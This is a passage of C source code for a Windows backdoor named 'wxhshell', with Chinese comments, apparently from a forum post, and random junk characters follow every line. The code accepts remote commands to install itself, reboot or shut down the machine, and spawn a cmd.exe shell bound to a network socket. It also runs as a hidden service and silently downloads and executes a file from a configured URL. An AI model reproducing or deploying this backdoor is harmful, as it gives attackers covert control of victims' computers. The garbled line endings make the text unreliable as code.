      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mp V3.  
    break; %7X<:f|N8x  
  } \WDL?(G<  
  // 安装 $Vi[195]2  
  case 'i': { T,Bu5:@#  
    if(Install()) =aWj+ggd@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|=#~(yYQ  
    else ,s%1#cbR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~#"#?  
    break; pT90TcI2  
    } xm)s%"6n  
  // 卸载 kHO2&"6  
  case 'r': { +@'{  
    if(Uninstall()) 2\$P&L a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |M*jo<C  
    else ,ZpcvK/S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zy}Qc")Z  
    break; D^?jLfW8  
    } M  `QYrH  
  // 显示 wxhshell 所在路径 cB;:}Q08#  
  case 'p': { 4@K9%  
    char svExeFile[MAX_PATH]; 6I$laHx?  
    strcpy(svExeFile,"\n\r"); LP{{PT.&X  
      strcat(svExeFile,ExeFile); 0Cox+QJt  
        send(wsh,svExeFile,strlen(svExeFile),0); K+0&~XU  
    break; _f~(g1sE  
    } j.3#rxq  
  // 重启 7j>NUx=j3  
  case 'b': { ?e`4 s f_~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -+'fn$  
    if(Boot(REBOOT)) YL)epi^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F-\Swbx+  
    else { *h<= (Y%   
    closesocket(wsh); E&\dr;{7  
    ExitThread(0); >@NH Al  
    } uhyw?#f  
    break; g> lJZD@  
    } m15MA.R>  
  // 关机 fn%Gu s~  
  case 'd': { v^Eg ,&(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jRswGMx  
    if(Boot(SHUTDOWN)) &C~R*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1lhlw6  
    else { b8?qYm  
    closesocket(wsh); I)xB I~x  
    ExitThread(0); e}x}Fj</(  
    } r/X4Hy0!lT  
    break; |ZEZ@y^  
    } ,0'Yj?U>  
  // 获取shell >m}U|#;W  
  case 's': { K[wOK  
    CmdShell(wsh); |x2 +O  
    closesocket(wsh); y_^w|  
    ExitThread(0); _RLx;Tn)L  
    break; HF9\SVR B  
  } vybQ}dscn  
  // 退出 yIm@m[B;  
  case 'x': { O/X;(qYd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U>q&p}z0 H  
    CloseIt(wsh); AN!MFsk  
    break; [DW}z  
    } 3)F9:Tzw1  
  // 离开 Cm~h\+"  
  case 'q': { \9U4V>p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y8Q96zi  
    closesocket(wsh); =h?Q.vad  
    WSACleanup(); .Z,3:3,]  
    exit(1); 5yvaY "B  
    break; FmfPi .;1  
        } ?'xTSAn  
  } ,BK6a'1J  
  } ;l^4/BR  
?;{fqeJz  
  // 提示信息 p*11aaIbp~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :ZP4(}  
} l!n<.tQW  
  } ]gN]Cw\L  
Z_ Gb9  
  return; Xx;RH9YYz  
} '%W'HqVcG1  
U6hT*126  
// shell模块句柄 4Xna}7  
int CmdShell(SOCKET sock) <OKzb3e  
{ x+kP,v  
STARTUPINFO si; -ff|Xxar{  
ZeroMemory(&si,sizeof(si)); -{Lc?=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kI|Vv90l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FiTP-~  
PROCESS_INFORMATION ProcessInfo; <O`yM2/pS  
char cmdline[]="cmd"; s\c*ibxM,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J 4$^Hr  
  return 0; |!r.p_Zt  
} cJEO wAN  
TBfX1v|Z)  
// 自身启动模式 O"otzla  
int StartFromService(void) 5zebH  
{ X(D$eV  
typedef struct !i0jk,[B=  
{ /Q7cQ2[EU  
  DWORD ExitStatus; :!omog  
  DWORD PebBaseAddress; ,/.U'{  
  DWORD AffinityMask; jTNfGu0x  
  DWORD BasePriority; GCxtWFXH  
  ULONG UniqueProcessId; o<`)cb }  
  ULONG InheritedFromUniqueProcessId; Sz\"*W;>  
}   PROCESS_BASIC_INFORMATION; ^wL n  
| v? pS  
PROCNTQSIP NtQueryInformationProcess; DRldRm/  
j8@ Eqh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l@+WGh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p_!;N^y.  
O<3i6   
  HANDLE             hProcess; PZ/gD  
  PROCESS_BASIC_INFORMATION pbi; %G%##wv:  
^!]Hm&.a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +ahr-v^R<  
  if(NULL == hInst ) return 0; MC.,n$O}6  
$}d| ~q\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Onr#p4UT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Luxo,Ve  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U D9&k^  
NO4V{}?a  
  if (!NtQueryInformationProcess) return 0; ]w _,0q  
lYlU8l5>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); stnyJ9  
  if(!hProcess) return 0; lO/<xSjNd  
Ol>"'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?^z!yD\  
o E+s8Q  
  CloseHandle(hProcess); 2 }QD>  
P)fv:a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b\zRwp  
if(hProcess==NULL) return 0; >uN`q1?l'  
&a?&G'?  
HMODULE hMod; &"dT/5}6  
char procName[255]; KKm0@Y   
unsigned long cbNeeded; CroI,=a&,  
gf]biE"k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ({3hX"C@Q  
VjU;[  
  CloseHandle(hProcess); =RR225  
@l9qH1  
if(strstr(procName,"services")) return 1; // 以服务启动 0NLoqq  
<BIj a  
  return 0; // 注册表启动 Vp $]  
} $or?7 w>  
}i1p &EN^  
// 主模块 [/#c9RA  
int StartWxhshell(LPSTR lpCmdLine) t<O5_}R%d  
{ w=I' CMRt  
  SOCKET wsl; wj>mk  
BOOL val=TRUE; a a<9%j  
  int port=0; ~Mv@Bl  
  struct sockaddr_in door; GS|sx  
T`g.K6$b  
  if(wscfg.ws_autoins) Install(); fI%+  
*uR&d;vg.8  
port=atoi(lpCmdLine); (~/VP3.S  
NiU}A$U  
if(port<=0) port=wscfg.ws_port; _S:6;_bz  
!1f8~"Z  
  WSADATA data; z`-?5-a]I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X{rw+!  
q!#e2Dx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2 Mc/ah  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sf>R7.lpP  
  door.sin_family = AF_INET; ?PNG@OK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !Gu,X'#Ab  
  door.sin_port = htons(port); u49zc9  
`fEB,0j^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &x{CC@g/  
closesocket(wsl); nu,#y"WQ  
return 1; qO=_i d  
} #5GIO  
-bHQy:  
  if(listen(wsl,2) == INVALID_SOCKET) { YmM+x=G:  
closesocket(wsl); ]%IcUd}  
return 1; :ho)3kB  
} @sly-2{e1  
  Wxhshell(wsl); D'aq^T'  
  WSACleanup(); [B9'/:  
0bxB@(NO  
return 0; #Ag-?k  
ko2Kz k  
} Ghgx8 ]e  
I]P'wav~O  
// 以NT服务方式启动 E6n3[Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u-Pa:wm0-  
{ o.t$hv|  
DWORD   status = 0; O"4Q=~Y  
  DWORD   specificError = 0xfffffff; ^yUel.N5"  
A87JPX#R?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ryzz!0l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c0]^V>}cl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7N"$~UfC  
  serviceStatus.dwWin32ExitCode     = 0; d3h2$EDD  
  serviceStatus.dwServiceSpecificExitCode = 0; i(9=` A}  
  serviceStatus.dwCheckPoint       = 0; e&f9/rfx  
  serviceStatus.dwWaitHint       = 0; gB@Xi*  
2"lDKjj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FjIS:9^)t5  
  if (hServiceStatusHandle==0) return; gK/mm\K@  
6k;__@B,  
status = GetLastError(); *vFVXJo  
  if (status!=NO_ERROR) FblwQ-D  
{ x[7jm"Pz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8DbXv~3@  
    serviceStatus.dwCheckPoint       = 0; edhNQWn  
    serviceStatus.dwWaitHint       = 0; `e]L.P_e?  
    serviceStatus.dwWin32ExitCode     = status; v4!zB9d  
    serviceStatus.dwServiceSpecificExitCode = specificError; g\&[;v i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ngyai1  
    return; ?)x>GB(9ZN  
  } !YL|R[nDH|  
([zt}uf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MZf$8R  
  serviceStatus.dwCheckPoint       = 0; 6Y6DkFdvrZ  
  serviceStatus.dwWaitHint       = 0; {g}!M^|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6V\YYrUz  
} S(](C  
$5y%\A  
// 处理NT服务事件,比如:启动、停止 GHeJpS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jr{C/B}  
{ $$~x: iN  
switch(fdwControl) !7!xJ&/V  
{ /2-S/,a  
case SERVICE_CONTROL_STOP: v!?bEM3D  
  serviceStatus.dwWin32ExitCode = 0; H];|<G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R*IO%9O  
  serviceStatus.dwCheckPoint   = 0; Qj~m;F!  
  serviceStatus.dwWaitHint     = 0; d_=@1 JM>  
  { 8RWfv}:X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gwxx W   
  } ')t :!#  
  return; #}L75  
case SERVICE_CONTROL_PAUSE: 6 ]W!>jDc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #k8bZ?*:  
  break; ![3#([>4>  
case SERVICE_CONTROL_CONTINUE: xRYL{+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t9S zZ2E  
  break; C{!L +]/  
case SERVICE_CONTROL_INTERROGATE: /%|JP{   
  break; r(iT&uz  
}; XVAy uuTg\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4>nY't;0  
} E%OY7zf`%  
e>~g!S}G  
// 标准应用程序主函数 G$pTTT6#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $,q~q^0  
{ Htn=h~U`z  
,~8:^*0s  
// 获取操作系统版本 !/+ZKx("9  
OsIsNt=GetOsVer(); o9ZHa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q\ FF)H  
ES!$JWK|  
  // 从命令行安装 / PG+ s6  
  if(strpbrk(lpCmdLine,"iI")) Install(); =3OK 3|  
km2('t7?  
  // 下载执行文件 r#iZ FL3q  
if(wscfg.ws_downexe) { Jm$. $B&I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }]_/:KUt  
  WinExec(wscfg.ws_filenam,SW_HIDE); aAZS^S4v  
} r=P)iE:  
l T~RH0L  
if(!OsIsNt) { r2}u\U4>  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^I03PIy0l  
HideProc(); 9Z]~c^UB  
StartWxhshell(lpCmdLine); o&P}GcEIw  
} $&/JY  
else n/#zx:d?  
  if(StartFromService()) 3ny>5A!;2  
  // 以服务方式启动 p3ox%4  
  StartServiceCtrlDispatcher(DispatchTable); ~>&7~N8  
else =r"8J5[f  
  // 普通方式启动 _O)xE9t#ru  
  StartWxhshell(lpCmdLine); XlUM~(7+v  
nmZz`P9g  
return 0; << `*o[^L  
}
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只看该作者 1 发表于: 2006-10-10
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